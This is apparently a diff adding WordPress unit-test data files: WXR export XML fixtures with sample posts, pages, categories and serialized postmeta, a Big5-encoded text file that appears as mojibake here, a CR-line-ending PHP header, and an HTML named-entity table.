+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Test With Serialized Postmeta</title>
+	<link>http://test.wordpress.org/</link>
+	<description>Just another blog</description>
+	<pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+	<generator>http://wordpress.org/?v=2.8.4</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+	<wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+		<item>
+<title>My Entry with UTW Postmeta</title>
+<link>http://test.wordpress.org/postmeta-utw</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta-utw</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>150</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>test</wp:meta_key>
+<wp:meta_value>a:13:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"album";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"apple";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"art";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"artwork";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"dead-tracks";}i:5;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:6;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}i:7;O:8:"stdClass":1:{s:3:"tag";s:10:"javascript";}i:8;O:8:"stdClass":1:{s:3:"tag";s:6:"lyrics";}i:9;O:8:"stdClass":1:{s:3:"tag";s:6:"script";}i:10;O:8:"stdClass":1:{s:3:"tag";s:6:"tracks";}i:11;O:8:"stdClass":1:{s:3:"tag";s:22:"windows-scripting-host";}i:12;O:8:"stdClass":1:{s:3:"tag";s:7:"wscript";}}</wp:meta_value>
+</wp:postmeta>
+</item>
+</channel>
+</rss>
+

+ 282 - 0
tests/phpunit/data/export/valid-wxr-1.0.xml

@@ -0,0 +1,282 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log in to that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/3.0.1" created="2010-10-20 14:22"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Export Dataset</title>
+	<link>http://localhost/</link>
+	<description>Just another WordPress site</description>
+	<pubDate>Wed, 20 Oct 2010 14:10:09 +0000</pubDate>
+	<generator>http://wordpress.org/?v=3.0.1</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+		<wp:category><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name><wp:category_description><![CDATA[The alpha category]]></wp:category_description></wp:category>
+		<wp:category><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+		<wp:category><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[parent]]></wp:cat_name></wp:category>
+		<wp:category><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+		<wp:category><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[child]]></wp:cat_name></wp:category>
+			<wp:tag><wp:tag_slug>chicken</wp:tag_slug><wp:tag_name><![CDATA[chicken]]></wp:tag_name></wp:tag>
+		<wp:tag><wp:tag_slug>face</wp:tag_slug><wp:tag_name><![CDATA[face]]></wp:tag_name></wp:tag>
+		<wp:tag><wp:tag_slug>news</wp:tag_slug><wp:tag_name><![CDATA[news]]></wp:tag_name></wp:tag>
+		<wp:tag><wp:tag_slug>roar</wp:tag_slug><wp:tag_name><![CDATA[roar]]></wp:tag_name></wp:tag>
+		
+	<generator>http://wordpress.org/?v=3.0.1</generator>
+
+		<item>
+		<title>Hello world!</title>
+		<link>http://localhost/?p=1</link>
+		<pubDate>Wed, 20 Oct 2010 14:08:20 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+		<guid isPermaLink="false">http://localhost/?p=1</guid>
+		<description></description>
+		<content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2010-10-20 14:08:20</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:08:20</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:comment>
+		<wp:comment_id>1</wp:comment_id>
+		<wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+		<wp:comment_author_email></wp:comment_author_email>
+		<wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+		<wp:comment_author_IP></wp:comment_author_IP>
+		<wp:comment_date>2010-10-20 14:08:20</wp:comment_date>
+		<wp:comment_date_gmt>2010-10-20 14:08:20</wp:comment_date_gmt>
+		<wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+		<wp:comment_approved>1</wp:comment_approved>
+		<wp:comment_type></wp:comment_type>
+		<wp:comment_parent>0</wp:comment_parent>
+		<wp:comment_user_id>0</wp:comment_user_id>
+		</wp:comment>
+			</item>
+		<item>
+		<title>About</title>
+		<link>http://localhost/?page_id=2</link>
+		<pubDate>Wed, 20 Oct 2010 14:08:20 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<guid isPermaLink="false">http://localhost/?page_id=2</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an example of a WordPress page, you could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>2</wp:post_id>
+		<wp:post_date>2010-10-20 14:08:20</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:08:20</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>about</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_wp_page_template</wp:meta_key>
+		<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Alpha post</title>
+		<link>http://localhost/?p=4</link>
+		<pubDate>Wed, 20 Oct 2010 14:09:37 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<category><![CDATA[alpha]]></category>
+
+		<category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+
+		<category domain="tag"><![CDATA[news]]></category>
+
+		<category domain="tag" nicename="news"><![CDATA[news]]></category>
+
+		<category domain="tag"><![CDATA[roar]]></category>
+
+		<category domain="tag" nicename="roar"><![CDATA[roar]]></category>
+
+		<guid isPermaLink="false">http://localhost/?p=4</guid>
+		<description></description>
+		<content:encoded><![CDATA[Tagged in roar, news]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>4</wp:post_id>
+		<wp:post_date>2010-10-20 14:09:37</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:09:37</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>alpha-post</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583778]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_old_slug</wp:meta_key>
+		<wp:meta_value><![CDATA[]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Child post</title>
+		<link>http://localhost/?p=6</link>
+		<pubDate>Wed, 20 Oct 2010 14:10:09 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<category domain="tag"><![CDATA[chicken]]></category>
+
+		<category domain="tag" nicename="chicken"><![CDATA[chicken]]></category>
+
+		<category><![CDATA[child]]></category>
+
+		<category domain="category" nicename="child"><![CDATA[child]]></category>
+
+		<category domain="tag"><![CDATA[face]]></category>
+
+		<category domain="tag" nicename="face"><![CDATA[face]]></category>
+
+		<guid isPermaLink="false">http://localhost/?p=6</guid>
+		<description></description>
+		<content:encoded><![CDATA[Tagged in face, chicken]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>6</wp:post_id>
+		<wp:post_date>2010-10-20 14:10:09</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:10:09</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>child-post</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583809]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_old_slug</wp:meta_key>
+		<wp:meta_value><![CDATA[]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Child page</title>
+		<link>http://localhost/?page_id=8</link>
+		<pubDate>Wed, 20 Oct 2010 14:10:35 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<guid isPermaLink="false">http://localhost/?page_id=8</guid>
+		<description></description>
+		<content:encoded><![CDATA[Should have lower ID than parent!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>8</wp:post_id>
+		<wp:post_date>2010-10-20 14:10:35</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:10:35</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>closed</wp:ping_status>
+		<wp:post_name>child-post</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>10</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583856]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_page_template</wp:meta_key>
+		<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Parent page</title>
+		<link>http://localhost/?page_id=10</link>
+		<pubDate>Wed, 20 Oct 2010 14:10:44 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<guid isPermaLink="false">http://localhost/?page_id=10</guid>
+		<description></description>
+		<content:encoded><![CDATA[woop]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>10</wp:post_id>
+		<wp:post_date>2010-10-20 14:10:44</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:10:44</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>parent-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583844]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_page_template</wp:meta_key>
+		<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+	</channel>
+</rss>

+ 112 - 0
tests/phpunit/data/export/valid-wxr-1.1.xml

@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-17 09:54" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+
+<channel>
+	<title>Export Datasets</title>
+	<link>http://localhost/</link>
+	<description>Just another WordPress site</description>
+	<pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+
+	<wp:author><wp:author_id>2</wp:author_id><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name><wp:category_description><![CDATA[The alpha category]]></wp:category_description></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name><wp:tag_description><![CDATA[The Clippable post_tag]]></wp:tag_description></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name><wp:term_description><![CDATA[The bieup post_tax]]></wp:term_description></wp:term>
+
+	<generator>http://wordpress.org/?v=3.1-alpha</generator>
+
+	<item>
+		<title>Hello world!</title>
+		<link>http://localhost/?p=1</link>
+		<pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+		<dc:creator>john</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=1</guid>
+		<description></description>
+		<content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2010-10-16 20:53:18</wp:post_date>
+		<wp:post_date_gmt>2010-10-16 20:53:18</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+		<category domain="post_tag" nicename="clippable"><![CDATA[Clippable]]></category>
+		<category domain="post_tax" nicename="bieup"><![CDATA[bieup]]></category>
+		<wp:comment>
+			<wp:comment_id>1</wp:comment_id>
+			<wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+			<wp:comment_author_email></wp:comment_author_email>
+			<wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+			<wp:comment_author_IP></wp:comment_author_IP>
+			<wp:comment_date>2010-10-16 20:53:18</wp:comment_date>
+			<wp:comment_date_gmt>2010-10-16 20:53:18</wp:comment_date_gmt>
+			<wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+			<wp:comment_approved>1</wp:comment_approved>
+			<wp:comment_type></wp:comment_type>
+			<wp:comment_parent>0</wp:comment_parent>
+			<wp:comment_user_id>0</wp:comment_user_id>
+		</wp:comment>
+	</item>
+	<item>
+		<title>About</title>
+		<link>http://localhost/?page_id=2</link>
+		<pubDate>Sat, 16 Oct 2010 20:53:18 +0000</pubDate>
+		<dc:creator>john</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=2</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an example of a WordPress page. You could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>2</wp:post_id>
+		<wp:post_date>2010-10-16 20:53:18</wp:post_date>
+		<wp:post_date_gmt>2010-10-16 20:53:18</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>about</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>

+ 51 - 0
tests/phpunit/data/formatting/big5.txt

@@ -0,0 +1,51 @@
+?lmDwgn H@~|Q
+
+?lDg
+
+H@
+
+DiDAD`DCWiWAD`WCLAW?alQAWUC
+G`LAH[?F`AH[uC?APX?WAP?
+?C?S?AC
+
+HG
+
+?U?AcoQ?AoCGL??A
+?Au??AU?gAn?MAeHCOHtHBuL
+voAuv?CU@j?A??A?A\
+?~C??~AOHhC
+
+HT
+
+|A?QQofA?sQiA??
+COHutHvvA?A?Az?Aj?C`?LL
+C???]CuLvAhLvC
+
+h|
+
+uDvRA????CWAUvQUA?gAM
+AP?Q?FsC^?lHH?C
+
+H
+
+?aAHU?QtHAH?m?C?aAS
+GH?}A??UXCh?aApuC
+
+H
+
+AO??gC??AO??a?CYsA??C
+
+HC
+
+?a[C?a?HB[?AH???AG[COHtH
+?A~??sCDHLpHG?pC
+
+HK
+
+WYCQU?CBH?cAGXDC~aA?
+WAPAHAFvA?A?gC??AGL?C
+
+HE
+
+??ApwQ?UAiOC?AuQIQ
+zA?SC\EhA?DC

+ 5 - 0
tests/phpunit/data/formatting/cr-line-endings-file-header.php

@@ -0,0 +1,5 @@
+<?php
+/* Some Header: Some header value!
+ * Description: This file is using CR line endings for a testcase.
+ * Author: A Very Old Mac
+ */

+ 255 - 0
tests/phpunit/data/formatting/entities.txt

@@ -0,0 +1,255 @@
+### Named HTML character entities, their numeric reference 
+### (e.g. for &#[0-9]+; entity form), and their use.
+### From: http://www.w3.org/TR/html401/sgml/entities.html
+###
+nbsp	| 160	### no-break space 
+iexcl	| 161	### inverted exclamation mark 
+cent	| 162	### cent sign 
+pound	| 163	### pound sterling sign 
+curren	| 164	### general currency sign 
+yen	    | 165	### yen sign 
+brvbar	| 166	### broken (vertical) bar 
+sect	| 167	### section sign 
+uml	    | 168	### umlaut (dieresis) 
+copy	| 169	### copyright sign 
+ordf	| 170	### ordinal indicator, feminine 
+laquo	| 171	### angle quotation mark, left 
+not	    | 172	### not sign 
+shy	    | 173	### soft hyphen 
+reg	    | 174	### registered sign 
+macr	| 175	### macron 
+deg	    | 176	### degree sign 
+plusmn	| 177	### plus-or-minus sign 
+sup2	| 178	### superscript two 
+sup3	| 179	### superscript three 
+acute	| 180	### acute accent 
+micro	| 181	### micro sign 
+para	| 182	### pilcrow (paragraph sign) 
+middot	| 183	### middle dot 
+cedil	| 184	### cedilla 
+sup1	| 185	### superscript one 
+ordm	| 186	### ordinal indicator, masculine 
+raquo	| 187	### angle quotation mark, right 
+frac14	| 188	### fraction one-quarter 
+frac12	| 189	### fraction one-half 
+frac34	| 190	### fraction three-quarters 
+iquest	| 191	### inverted question mark 
+Agrave	| 192	### capital A, grave accent 
+Aacute	| 193	### capital A, acute accent 
+Acirc	| 194	### capital A, circumflex accent 
+Atilde	| 195	### capital A, tilde 
+Auml	| 196	### capital A, dieresis or umlaut mark 
+Aring	| 197	### capital A, ring 
+AElig	| 198	### capital AE diphthong (ligature) 
+Ccedil	| 199	### capital C, cedilla 
+Egrave	| 200	### capital E, grave accent 
+Eacute	| 201	### capital E, acute accent 
+Ecirc	| 202	### capital E, circumflex accent 
+Euml	| 203	### capital E, dieresis or umlaut mark 
+Igrave	| 204	### capital I, grave accent 
+Iacute	| 205	### capital I, acute accent 
+Icirc	| 206	### capital I, circumflex accent 
+Iuml	| 207	### capital I, dieresis or umlaut mark 
+ETH	    | 208	### capital Eth, Icelandic 
+Ntilde	| 209	### capital N, tilde 
+Ograve	| 210	### capital O, grave accent 
+Oacute	| 211	### capital O, acute accent 
+Ocirc	| 212	### capital O, circumflex accent 
+Otilde	| 213	### capital O, tilde 
+Ouml	| 214	### capital O, dieresis or umlaut mark 
+times	| 215	### multiply sign 
+Oslash	| 216	### capital O, slash 
+Ugrave	| 217	### capital U, grave accent 
+Uacute	| 218	### capital U, acute accent 
+Ucirc	| 219	### capital U, circumflex accent 
+Uuml	| 220	### capital U, dieresis or umlaut mark 
+Yacute	| 221	### capital Y, acute accent 
+THORN	| 222	### capital THORN, Icelandic 
+szlig	| 223	### small sharp s, German (sz ligature) 
+agrave	| 224	### small a, grave accent 
+aacute	| 225	### small a, acute accent 
+acirc	| 226	### small a, circumflex accent 
+atilde	| 227	### small a, tilde 
+auml	| 228	### small a, dieresis or umlaut mark 
+aring	| 229	### small a, ring 
+aelig	| 230	### small ae diphthong (ligature) 
+ccedil	| 231	### small c, cedilla 
+egrave	| 232	### small e, grave accent 
+eacute	| 233	### small e, acute accent 
+ecirc	| 234	### small e, circumflex accent 
+euml	| 235	### small e, dieresis or umlaut mark 
+igrave	| 236	### small i, grave accent 
+iacute	| 237	### small i, acute accent 
+icirc	| 238	### small i, circumflex accent 
+iuml	| 239	### small i, dieresis or umlaut mark 
+eth	    | 240	### small eth, Icelandic 
+ntilde	| 241	### small n, tilde 
+ograve	| 242	### small o, grave accent 
+oacute	| 243	### small o, acute accent 
+ocirc	| 244	### small o, circumflex accent 
+otilde	| 245	### small o, tilde 
+ouml	| 246	### small o, dieresis or umlaut mark 
+divide	| 247	### divide sign 
+oslash	| 248	### small o, slash 
+ugrave	| 249	### small u, grave accent 
+uacute	| 250	### small u, acute accent 
+ucirc	| 251	### small u, circumflex accent 
+uuml	| 252	### small u, dieresis or umlaut mark 
+yacute	| 253	### small y, acute accent 
+thorn	| 254	### small thorn, Icelandic 
+yuml	| 255	### small y, dieresis or umlaut mark 
+fnof	| 402	### latin small f with hook, =function, =florin, u+0192 ISOtech 
+Alpha	| 913	### greek capital letter alpha,  u+0391 
+Beta	| 914	### greek capital letter beta,  u+0392 
+Gamma	| 915	### greek capital letter gamma,  u+0393 ISOgrk3 
+Delta	| 916	### greek capital letter delta,  u+0394 ISOgrk3 
+Epsilon	| 917	### greek capital letter epsilon,  u+0395 
+Zeta	| 918	### greek capital letter zeta,  u+0396 
+Eta	    | 919	### greek capital letter eta,  u+0397 
+Theta	| 920	### greek capital letter theta,  u+0398 ISOgrk3 
+Iota	| 921	### greek capital letter iota,  u+0399 
+Kappa	| 922	### greek capital letter kappa,  u+039A 
+Lambda	| 923	### greek capital letter lambda,  u+039B ISOgrk3 
+Mu	    | 924	### greek capital letter mu,  u+039C 
+Nu	    | 925	### greek capital letter nu,  u+039D 
+Xi	    | 926	### greek capital letter xi,  u+039E ISOgrk3 
+Omicron	| 927	### greek capital letter omicron,  u+039F 
+Pi	    | 928	### greek capital letter pi,  u+03A0 ISOgrk3 
+Rho	    | 929	### greek capital letter rho,  u+03A1 
+Sigma	| 931	### greek capital letter sigma,  u+03A3 ISOgrk3 
+Tau	    | 932	### greek capital letter tau,  u+03A4 
+Upsilon	| 933	### greek capital letter upsilon,  u+03A5 ISOgrk3 
+Phi	    | 934	### greek capital letter phi,  u+03A6 ISOgrk3 
+Chi	    | 935	### greek capital letter chi,  u+03A7 
+Psi	    | 936	### greek capital letter psi,  u+03A8 ISOgrk3 
+Omega	| 937	### greek capital letter omega,  u+03A9 ISOgrk3 
+alpha	| 945	### greek small letter alpha, u+03B1 ISOgrk3 
+beta	| 946	### greek small letter beta,  u+03B2 ISOgrk3 
+gamma	| 947	### greek small letter gamma,  u+03B3 ISOgrk3 
+delta	| 948	### greek small letter delta,  u+03B4 ISOgrk3 
+epsilon	| 949	### greek small letter epsilon,  u+03B5 ISOgrk3 
+zeta	| 950	### greek small letter zeta,  u+03B6 ISOgrk3 
+eta	    | 951	### greek small letter eta,  u+03B7 ISOgrk3 
+theta	| 952	### greek small letter theta,  u+03B8 ISOgrk3 
